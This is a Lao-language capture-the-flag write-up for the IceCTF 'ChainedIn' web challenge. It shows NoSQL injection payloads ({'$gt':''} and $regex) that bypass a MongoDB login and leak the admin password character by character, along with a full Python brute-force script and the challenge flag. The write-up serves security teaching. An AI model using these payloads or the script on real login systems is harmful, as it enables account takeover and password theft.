0

[Write-up][ສະເຫຼີຍ] IceCTF ChainedIn 75 ຄະແນນ

1

ຂໍນີ້ແມ່ນຢູ່ໃນໝວດເວັບ ເຊິ່ງເຮົາຈະໄດ້ຮູ້ກັນວ່າ mongoDB ເຊິ່ງເປັນ noSQL ວ່າປອດໄພແທ້ບໍ່…

ໂດຍໂຈດໃຫ້ເວັບເຮົາມາເວັບໜຶ່ງ ແລ້ວມີ user & pass ຄື : agent1568

ເປົ້າໝາຍຂອງໂຈດນີ້ຄືການ leak the admin password ໂອເຄ ເຮົາມາລອງເບິ່ງ website ເລີຍວ່າເປັນແນວໃດ

2

ເຮົາມາສັງເກດເບິ່ງ ເຫັນວ່າເວັບນີ້ ໃຊ້ mongoDB ເຊິ່ງເປັນ ລະບົບຈັດການ nosql ຊະນິດໜຶ່ງ

ແລະເມື່ອເປີດເບິ່ງ header ກໍ່ເຫັນ X-Powered-By:Express ໂອເຄ ເປັນ nodejs ນຳ

ແລະມາບວກກັບ ANGULARJS ອີກ

ກໍ່ເຮັດໃຫ້ເຮົາໝັ້ນໃຈວ່າລະບົບນີ້ແມ່ນສ້າງມາຈາກ mean.io

(ຂໍ້ມູນເພີ່ມເຕີມ nosql : https://en.wikipedia.org/wiki/NoSQL )

(ຂໍ້ມູນເພີ່ມເຕີມ Express : https://expressjs.com/ )

ໜ້າຕາຈະປະມານນີ້ ເຮົາກໍ່ລອງ login ກ່ອນເລີຍເບິ່ງວ່າມີຫຍັງໜ້າສົນໃຈບໍ

3

ເມື່ອ login ເຂົ້າມາກໍ່ບໍ່ເຫັນມີຫຍັງໜ້າສົນໃຈ ກວດເບິ່ງ cookie ຫຍັງແລ້ວກໍ່ບໍ່ມີໂຊກ ບໍ່ມີຫຍັງເອົາໄປໃຊ້ປະໂຫຍດໄດ້ເລີຍ

ຕໍ່ມາແອັດມິນກໍ່ລອງໃຊ້ burp suite ເພື່ອ repeat request ໄປເຊີເວີ້

ສັງເກດເຫັນສິ່ງທີ່ອາດຈະເປັນປະໂຫຍດ ຄື :

  1. ເວລາເຮົາໃຊ້ burp suite request ໄປ ລ່ະກະຈະໄດ້ invalid message ກັບມາ.
  2. ຂໍ້ມູນທີ່ເຮົາສົ່ງໄປຈະເປັນ json.

4

ບາດນີ້ແອັດມິນມາລອງເບິ່ງວ່າ login nosql ອັນນີ້ມັນມີຊ່ອງໂວ່ ບໍ່? ໂດຍເທັກນິກນີ້ເອີ້ນວ່າ NoSQL Injection

( ບົດຄວາມເພີ່ມເຕີມ http://blog.websecurify.com/2014/08/attacks-nodejs-and-mongodb-part-to.html )

ເຮົາລອງ inject {“$gt”:””} ເຂົ້າໄປ ເຊິ່ງ $gt ໝາຍເຖິງ greater than ເຊິ່ງວ່າ greater than ຕ້ອງໃຫຍ່ກວ່າ ສິ່ງວ່າງເປົ່າສະເໝີ ຜົນລັບເລີຍອອກມາເປັນ true

5

ຫລັງຈາກ inject {“$gt”:””} ເຮົາກໍ່ໄດ້ສິດ Administrator ມາແຕ່ກໍ່ເທົ່ານັ້ນ. ບໍ່ມີຫຍັງນອກຈາກໄດ້ເຫັນວ່າ Welcome back Administrator ສິ່ງທີ່ເຮົາຕ້ອງການຄື password ຂອງ admin ແອັດມິນເລີຍລຸຍຫາຂໍ້ມູນຕໍ່ໄປ ເລີຍເຫັນວ່າມີ $regex ທີ່ສາມາດຊ່ວຍໄດ້

ເຊິ່ງວ່າເຮົາຈະໃຊ້ $regex ເພື່ອດຶງ password ຂອງ admin ອອກມາເທື່ອລ່ະຕົວອັກສອນ.

{"user": {"$gt":""} ,"pass": {"$regex":"I"} }  -- {"message":"Welcome back Administrator!"}
{"user": {"$gt":""} ,"pass": {"$regex":"Ic"} } -- {"message":"Welcome back Administrator!"}
{"user": {"$gt":""} ,"pass": {"$regex":"Ics"} } -- {"message":"Invalid Credentials"}
{"user": {"$gt":""} ,"pass": {"$regex":"Ice"} } -- {"message":"Welcome back Administrator!"}

ເຮົາກໍ່ຕ້ອງຫາເທື່ອລ່ະໂຕໃນຊຸດໂຕອັກສອນ ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz_0123456789{}

ແລະແນ່ນອນຖ້າເຮົາໃຊ້ມືເຮັດຄືຊິບໍ່ແລ້ວງ່າຍ ອີ່ລາກອີ່ເລືອກັນພໍດີ… ແອັດມິນເລີຍຂຽນໂປແກມໃຫ້ມັນສຸ່ມມາໃຫ້ເລີຍສະ

ເຮົາກໍ່ຮູ້ແລ້ວແລະວ່າ format flag ມັນຈະເປັນ “IceCTF{“ ເລີຍຂຽນໃຫ້ມັນເລີ່ມສຸ່ມຫຼັງຈາກໂຕນີ້ເລີຍ

import requests

page = 'http://chainedin.vuln.icec.tf/login'
char = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz_0123456789{}"
print "Frankkung.com"
final_flag = "IceCTF{"
def brute(flag,char,page):
	for i in char:
		req = {"user": {"$gt":""} ,"pass": {"$regex":flag+i} }
		result = requests.post(page,json=req).content
		if 'Administrator' in result:
			flag = flag+i
			return flag

while 1:
	try:
		final_flag = brute(final_flag,char,page)
		print final_flag
	except:
		continue

6

ໄດ້ Flag ແລ້ວຈັດໄປ 75 ຄະແນນທີ່ແສນລຳບາກ

flag : IceCTF{I_thOugHT_YOu_coulDNt_inJeCt_noSqL_tHanKs_monGo}

ຂອບໃຈ.

Frankkung

Frankkung

FULLSTACK DEVELOPER - PENETRATION TESTER